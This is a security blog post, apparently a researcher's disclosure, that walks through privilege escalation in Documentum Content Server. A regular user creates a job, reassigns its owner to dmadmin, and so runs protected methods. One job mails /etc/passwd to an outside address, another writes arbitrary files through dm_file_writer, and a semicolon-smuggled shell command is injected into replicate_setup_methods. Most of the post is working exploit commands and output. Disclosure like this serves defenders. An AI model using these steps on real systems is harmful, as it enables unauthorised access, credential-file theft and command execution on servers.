documentum security vulnerabilities: execution of “protected” methods

Some of repository methods are insecure by design, for example “mail” method just executes program dm_mailwrapper.sh:

API> retrieve,c,dm_method where object_name='mail'
...
1001d92080000174
API> dump,c,l
...
USER ATTRIBUTES

  object_name                     : mail
  owner_permit                    : 7
  group_name                      : docu
  group_permit                    : 5
  world_permit                    : 3
  method_verb                     : ./dm_mailwrapper.sh

dm_mailwrapper.sh can send contents of any text file to user:

#!/bin/sh
# Mail wrapper: customize if you like
# Server will pass in subject, address and content_file
# Return of 0 means send succeeded, non-zero status results in the
# server generating an error message iff the method was launched
# synchronously.

delete_contents=0
if [ x"$1" = x"-delete_contents" ] ; then
  delete_contents=1
  shift
fi

subject=$1
address=$2
content_file=$3

/bin/mail -s "$subject" "$address" < $content_file
status=$?

if [ $delete_contents = 1 ] ; then
  # remove the temporary content file once it is sent
  \rm $content_file
fi

exit $status

but non-privileged user is not able to execute mail method directly:

Connected to Documentum Server running Release 6.7.1230.0293  Linux.Oracle
1> execute do_method with method='mail',
2> arguments='test andrew@panfilov.tel /etc/passwd'
3> go
[DM_METHOD_E_ASSUME_USER_UV]error:  "Your method named (mail) failed to execute 
  because the assume user process could not validation your user credentials.  
  Assume User Process returned (245=DM_CHKPASS_BAD_LOGIN)."

Bad news is Content Server allows execute such methods through executing jobs and any user is able to create own job object:

Connected to Documentum Server running Release 6.7.1230.0293  Linux.Oracle
1> create dm_job object
2> set object_name = 'malicious job'
3> set inactivate_after_failure = FALSE
4> set max_iterations = 0
5> set method_name = 'mail'
6> set pass_standard_arguments = FALSE
7> set run_interval = 1
8> set run_mode = 1
9> set run_now = TRUE
10> set start_date = DATE('11/24/2013','mm/dd/yyyy')
11> set expiration_date = DATE('12/11/2016','mm/dd/yyyy')
12> set a_next_invocation = DATE('11/24/2013','mm/dd/yyyy')
13> set is_inactive = FALSE
14> set world_permit=7
15> append method_arguments = 'test'
16> append method_arguments = 'andrew@panfilov.tel'
17> append method_arguments = '/etc/passwd'
18> go
object_created
----------------
0801d920805675b0
(1 row affected)

Though agentexec checks job’s owner privileges before executing jobs it’s possible to change owner of created job object either through API or Webtop:

Connected to Documentum Server running Release 6.7.1230.0293  Linux.Oracle
Session id is s0
API> set,c,0801d920805675b0,owner_name
SET> dmadmin
...
OK
API> save,c,0801d920805675b0
...
OK
API>

Another “useful” method in docbase is dm_file_writer – it can be used to edit any text file:

API> retrieve,c,dm_method where object_name='dm_file_writer'
...
1001d920800003a1
API> dump,c,l
...
USER ATTRIBUTES

  object_name                     : dm_file_writer
  owner_name                      : dmadmin
  owner_permit                    : 7
  group_name                      : docu
  group_permit                    : 1
  world_permit                    : 1
  method_verb                     : dmbasic -eEntryPoint -f../install/admin/dm_file_writer.ebs
Sub EntryPoint(FilePath As String, DmData As String, WriteMode As String)
    On Error Goto ErrorCatch

    Select Case WriteMode
    Case "DELETE"
        Call chgEntry(FilePath, DmData, WriteMode)
    Case "CREATE"
        Open FilePath For Append As #2
        Print #2, DmData
        Close #2
    Case "UPDATE"
        Call chgEntry(FilePath, DmData, WriteMode)
    Case "APPEND"
        Call chgEntry(FilePath, DmData, WriteMode)
    End Select
    DmExit 0

    ErrorCatch:
        Print Error$()
        DmExit 1
End Sub

exploitation of dm_file_writer method:

 ~]$ idql repo -Uuser -Ppassword >/dev/null <<_EOF_
> create dm_job object
> set object_name = 'malicious file writer'
> set inactivate_after_failure = FALSE
> set max_iterations = 0
> set method_name = 'dm_file_writer'
> set pass_standard_arguments = FALSE
> set run_interval = 1
> set run_mode = 1
> set run_now = TRUE
> set start_date = DATE('11/24/2013','mm/dd/yyyy')
> set expiration_date = DATE('12/11/2016','mm/dd/yyyy')
> set a_next_invocation = DATE('11/24/2013','mm/dd/yyyy')
> set is_inactive = FALSE
> set world_permit=7
> append method_arguments = '/tmp/test.txt'
> append method_arguments = 'agentexec_has_vulnerability'
> append method_arguments = 'CREATE'
> go
> _EOF_
 ~]$ iapi repo -Uuser -Ppassword >/dev/null <<_EOF_
> retrieve,c,dm_job where object_name='malicious file writer'
> set,c,l,owner_name
> dmadmin
> save,c,l
> _EOF_
 ~]$ sleep 60
 ~]$ cat /tmp/test.txt
agentexec_has_vulnerability
 ~]$

Another one vulnerable method is replicate_setup_methods:

API> retrieve,c,dm_method where object_name='replicate_setup_methods'
...
1001ffd780000216
API> dump,c,l
...
USER ATTRIBUTES

  object_name                     : replicate_setup_methods
  owner_name                      : dmadmin
  owner_permit                    : 7
  group_name                      : docu
  group_permit                    : 1
  world_permit                    : 1
  method_verb                     : ./dmbasic -ermain
  launch_direct                   : T
  launch_async                    : F
  trace_launch                    : F
  run_as_server                   : T
  use_method_content              : T

it allows to execute any shell command:

Function my_mkfile (passwd as string, filepath as string) As Integer
    Dim  pathsep As String
    Dim  fnum As Integer

    Dim thisDocbaseName As String
    Dim newPass As String
    Dim numberOfSubDirs As Integer

    Dim theUser As String
    Dim thePass As String
    Dim theDomain As String
    Dim newLine As String

    On Error Resume Next
    Kill filepath & ".old"
    Name filepath As filepath & ".old"
    pathsep = Basic.PathSeparator$
    fnum = FreeFile
    Open filepath For Output Access Write Lock Write As #fnum
    Close #fnum
    If Basic.OS = ebWin32 Then
        ret% = ShellSync("." & pathsep & "dmutil chmod 700 " & filepath)
    Else
        ret% = ShellSync("chmod 700 " & filepath)
    End If

example of parameters:

mkfile 
""
;echo replicate_setup_methods_has_vulnerability > /tmp/test;
false

2 thoughts on “documentum security vulnerabilities: execution of “protected” methods

  1. Pingback: God bless EMC. Part VII | Documentum in a (nuts)HELL
  2. Pingback: Is it possible to compromise Documentum by deleting object? Typical mistakes | Documentum in a (nuts)HELL

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s